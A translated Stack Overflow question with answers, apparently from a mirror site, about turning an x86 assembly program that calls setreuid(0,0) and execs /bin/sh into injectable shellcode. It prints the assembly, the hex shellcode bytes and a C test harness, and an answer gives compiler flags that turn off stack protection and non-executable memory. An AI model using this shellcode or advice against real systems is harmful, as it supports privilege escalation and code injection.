繁体   English   中英

如何将其转换为shellcode?

[英]How can I turn this into shellcode?

我写了一个生成shell的ASM文件。

但是,.text部分变为“READONLY”,因此我将所有内容保存在.data部分中。 当我用NASM和ld编译它时,它完美地工作。 然后,当我使用shellcode并在C程序中运行它时,我会出错。

ASM:

SECTION .data
        global _start
_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        mov al, 70d
        int 80h
        jmp jump
rev:
        pop ebx
        xor eax, eax
        mov BYTE [ebx+7], al
        mov DWORD [ebx+8], ebx
        mov DWORD [ebx+12], eax
        mov al, 11d
        lea ecx, [ebx+8]
        lea edx, [ebx+12]
        int 80h
jump:
        call rev
shell: db "/bin/sh011112222"

当我编译它时:

nasm -f elf32 -o temporary_file.o
ld -s -m elf_i386 -o shell temporary_file.o

一切都很完美。 我可以./shell和一个shell产生。 但是,当我使用时:

objdump -D shell(objdump -d shell不显示.data部分)

并将其改为\\ x ?? 格式,我不能exect外壳。 的Shellcode:

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x31\x31\x31\x31\x32\x32\x32\x32

并在C文件中:

#include <stdio.h>
unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";

int main(){
        printf("[~] Shellcode length (bytes): %d\n", strlen(shellcode));
        ((void(*)(void))shellcode)();
        return 0;
}

段故障。

以下是NASM编译文件的strace输出的前几行:

[root@Arch tut]# strace ./exec
execve("./exec", ["./exec"], [/* 25 vars */]) = 0
[ Process PID=30445 runs in 32 bit mode. ]
setreuid(0, 0)                          = 0
execve("/bin/sh", ["/bin/sh"], [/* 3 vars */]) = 0
[ Process PID=30445 runs in 64 bit mode. ]

现在,这是带有shellcode的C编译文件的strace输出:

[root@Arch tut]# strace ./shell
execve("./shell", ["./shell"], [/* 25 vars */]) = 0
brk(0)                                  = 0x238b000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

在您的c程序中,替换:

unsigned char * shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31...";

unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31...";

否则gcc会将它放在一个只读部分(使用-S编译生成asm并查看该部分)

此外,您可能需要使用-fno-stack-protector -z execstack编译它以避免堆栈保护。

不可能做这样的事情。

第一个问题:如果将C程序编译为64位程序,则不能将其与32位代码混合使用。 我假设你做到了。

第二个:即使您将C程序编译为32位程序(您必须安装32位共享库以便运行它),您也无法运行该程序。 这是因为Linux的内存管理将通过设置MMU的NX位来禁止在数据段中执行代码。

这意味着:尝试在字符串中执行代码(就像您一样)将导致分段错误!

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM